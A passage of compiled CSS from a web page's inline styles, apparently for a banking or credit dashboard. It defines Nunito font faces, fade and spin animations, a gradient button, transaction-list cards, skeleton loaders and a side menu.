src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.linear--gradient--button {
width: 100%;
box-sizing: border-box;
display: flex;
justify-content: center;
align-items: center;
cursor: pointer;
background-color: #ffffff;
border-radius: 6px;
font-family: Nunito-SemiBold;
line-height: 24px;
color: #122e43;
outline: 0;
background-clip: padding-box;
border: 1px solid transparent;
position: relative;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.linear--gradient--button.button--small {
height: 32px;
font-size: 14px; }
.linear--gradient--button.button--small .button__left--icon,
.linear--gradient--button.button--small .button__right--icon {
height: 16px; }
.linear--gradient--button.button--medium {
height: 40px;
font-size: 14px; }
.linear--gradient--button.button--medium .button__left--icon,
.linear--gradient--button.button--medium .button__right--icon {
height: 20px; }
.linear--gradient--button.button--large {
height: 48px;
font-size: 16px; }
.linear--gradient--button.button--large .button__left--icon,
.linear--gradient--button.button--large .button__right--icon {
height: 24px; }
.linear--gradient--button:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(175, 188, 199, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(175, 188, 199, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(175, 188, 199, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(175, 188, 199, 0.7);
box-shadow: 0px 16px 16px -10px rgba(175, 188, 199, 0.7); }
.linear--gradient--button:before {
content: '';
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
z-index: -1;
margin: -1px;
border-radius: inherit;
background: linear-gradient(to right, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%); }
.linear--gradient--button .button__left--icon {
margin-right: 4px; }
.linear--gradient--button .button__right--icon {
margin-left: 4px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.movements-card {
width: 100%;
height: 569px;
border-radius: 5px;
border: 0.5px solid #D7E1EA;
background: #ffffff;
box-sizing: border-box;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
display: flex;
flex-direction: column;
text-align: start; }
@media (max-width: 1023px) {
.movements-card {
height: 100vh;
justify-content: space-between;
top: 0px;
left: 0px;
position: fixed;
border-radius: 0px; } }
.movements-card .upper-section {
display: flex;
flex-direction: column;
flex-wrap: wrap;
gap: 21px;
margin: 20px 24px 0px 23px; }
.movements-card .upper-section .title-container {
display: flex;
flex-direction: column;
align-items: flex-start; }
.movements-card .upper-section .title-container .title {
font-family: Nunito-Bold;
font-size: 20px;
color: #122e43;
line-height: 27px; }
.movements-card .upper-section .title-container .subtitle {
font-family: NunitoSans-Regular;
font-size: 12px;
color: #416179;
line-height: 16px; }
.movements-card .upper-section .creditlimit-container {
margin-bottom: 13px;
position: sticky; }
.movements-card .upper-section .creditlimit-container .linear--gradient--button {
margin: 12px 0 3px; }
.movements-card .section-divider {
border-top: 0.5px solid #DDE7F0;
position: relative; }
.movements-card .section-divider:before {
content: '';
position: absolute;
top: 0;
left: 0;
height: 40px;
right: 0;
background: linear-gradient(to bottom, #fbfbfb 10%, rgba(251, 251, 251, 0) 100%); }
.movements-card .middle-section {
display: flex;
flex-direction: column;
padding: 23px 15px 38px 16px;
height: 100%;
overflow-y: scroll;
-ms-overflow-style: none;
scrollbar-width: none;
gap: 4px; }
.movements-card .middle-section.no-movements {
background-color: #ffffff;
border-radius: 5px; }
.movements-card .middle-section .no-data-container {
margin-top: 0;
margin-left: 10px;
margin-right: 10px; }
@media (max-width: 1023px) {
.movements-card .middle-section .no-data-container {
margin-top: 175px; } }
.movements-card .middle-section .error {
margin-top: 42px;
margin-left: 15px;
margin-right: 15px; }
.movements-card .middle-section::-webkit-scrollbar {
display: none; }
.movements-card .lower-section {
min-height: 42px;
display: flex;
justify-content: center;
align-items: center;
border-top: 0.5px solid #DDE7F0;
box-shadow: 0 0px 0px 0px white, 0 -30px 20px 0px white;
position: relative; }
@media (max-width: 1023px) {
.movements-card .lower-section {
min-height: 75px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.movement {
cursor: pointer;
width: 100%; }
.movement .movement-container {
display: flex;
flex-direction: row;
border-radius: 6px;
box-sizing: content-box; }
.movement .movement-container .movement-icon {
display: flex;
padding-top: 2px;
padding-right: 10px;
height: 24px;
width: 24px; }
.movement .movement-container .movement-right {
display: flex;
flex-direction: column;
width: 100%; }
.movement .movement-container .movement-right .movement-upper-section {
display: flex;
flex-direction: row;
justify-content: space-between;
margin-bottom: 8.5px; }
.movement .movement-container .movement-right .movement-upper-section .movement-info {
display: flex;
flex-direction: column; }
.movement .movement-container .movement-right .movement-upper-section .movement-info label {
cursor: pointer; }
.movement .movement-container .movement-right .movement-upper-section .movement-info .movement-label {
font-family: NunitoSans-Bold;
font-size: 12px;
line-height: 16px;
color: #122e43; }
.movement .movement-container .movement-right .movement-upper-section .movement-info .movement-date {
font-family: NunitoSans-Regular;
font-size: 10px;
line-height: 14px;
color: #416179; }
.movement .movement-container .movement-right .movement-upper-section .movement-info-value {
display: flex;
flex-direction: column;
align-items: flex-end; }
.movement .movement-container .movement-right .movement-upper-section .movement-info-value label {
cursor: pointer; }
.movement .movement-container .movement-right .movement-upper-section .movement-info-value .movement-amount {
font-family: NunitoSans-Bold;
font-size: 12px;
line-height: 16px;
color: #122e43; }
.movement .movement-container .movement-right .movement-upper-section .movement-info-value .movement-place {
font-family: NunitoSans-Regular;
font-size: 10px;
line-height: 14px;
color: #416179; }
.movement .movement-container .movement-right .movement-lower-section {
display: flex;
flex-direction: row;
justify-content: space-between; }
.movement .movement-container .movement-right .movement-lower-section .movement-detail {
display: flex;
flex-direction: column;
justify-content: space-between; }
.movement .movement-container .movement-right .movement-lower-section .movement-detail label {
cursor: pointer; }
.movement .movement-container .movement-right .movement-lower-section .movement-detail .movement-fee-value-label,
.movement .movement-container .movement-right .movement-lower-section .movement-detail .movement-fee-label {
font-family: NunitoSans-Regular;
font-size: 10px;
line-height: 14px;
color: #416179; }
.movement .movement-container .movement-right .movement-lower-section .movement-detail-value {
display: flex;
flex-direction: column;
justify-content: space-between;
align-items: flex-end; }
.movement .movement-container .movement-right .movement-lower-section .movement-detail-value label {
cursor: pointer; }
.movement .movement-container .movement-right .movement-lower-section .movement-detail-value .movement-fee-value,
.movement .movement-container .movement-right .movement-lower-section .movement-detail-value .movement-fee {
font-family: NunitoSans-Bold;
font-size: 11px;
line-height: 15px;
color: #122e43; }
.movement .active {
box-shadow: 0px 8px 18px -6px rgba(18, 46, 67, 0.25);
padding: 13px 16px;
max-height: 96px;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
.movement .inactive {
padding: 12px 16px;
max-height: 30px;
overflow: hidden;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out; }
.movement .inactive:hover {
background-color: #dbe2e7; }
.movement .show {
-webkit-animation: fadeIn ease 0.25s;
-moz-animation: fadeIn ease 0.25s;
-o-animation: fadeIn ease 0.25s;
animation: fadeIn ease 0.25s;
opacity: 1; }
.movement .hide {
-webkit-animation: fadeOut ease 0.25s;
-moz-animation: fadeOut ease 0.25s;
-o-animation: fadeOut ease 0.25s;
animation: fadeOut ease 0.25s;
opacity: 0; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.movements-card .upper-section-skeleton {
padding: 30px 40px 20px 30px;
opacity: .2; }
.movements-card .upper-section-skeleton .skeleton-line-container {
margin-top: 6px; }
.movements-card .upper-section-skeleton .skeleton-block-container {
margin-top: 25px; }
.movements-card .middle-section-skeleton {
display: flex;
flex-direction: column;
height: 100%;
gap: 10px;
padding: 30px 40px 0px 30px;
opacity: .2; }
.movements-card .middle-section-skeleton .skeleton-block-container {
margin-bottom: 10px; }
.movements-card .lower-section-skeleton {
opacity: .2;
min-height: 42px;
padding: 0px 40px 0px 30px;
border-top: 0.5px solid #DDE7F0; }
.movements-card .lower-section-skeleton .skeleton-line-container {
margin-top: 14px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.credit-limit-card .upper-section-skeleton {
padding: 20px 24px 12px 24px;
opacity: .2; }
.credit-limit-card .lower-section-skeleton {
min-height: 42px;
padding: 0px 40px 0px 30px;
border-top: 0.5px solid #DDE7F0;
opacity: .2; }
.credit-limit-card .lower-section-skeleton .skeleton-line-container {
margin-top: 14px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.dashboard-menu {
width: 210px;
height: 100%;
position: fixed;
display: flex;
top: 0;
left: 0; }
.dashboard-menu .dashboard-menu__content {
height: 100%;
justify-content: flex-end;
visibility: hidden;
position: absolute; }
.dashboard-menu .dashboard-menu__content .headerMenu__contain {
margin-bottom: 8px;
margin-top: 33px; }
.dashboard-menu .dashboard-menu__content.dashboard-menu--open {
width: 210px;
display: flex;
flex-direction: column;
justify-content: flex-start;
opacity: 1;
visibility: visible;
z-index: 1000;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
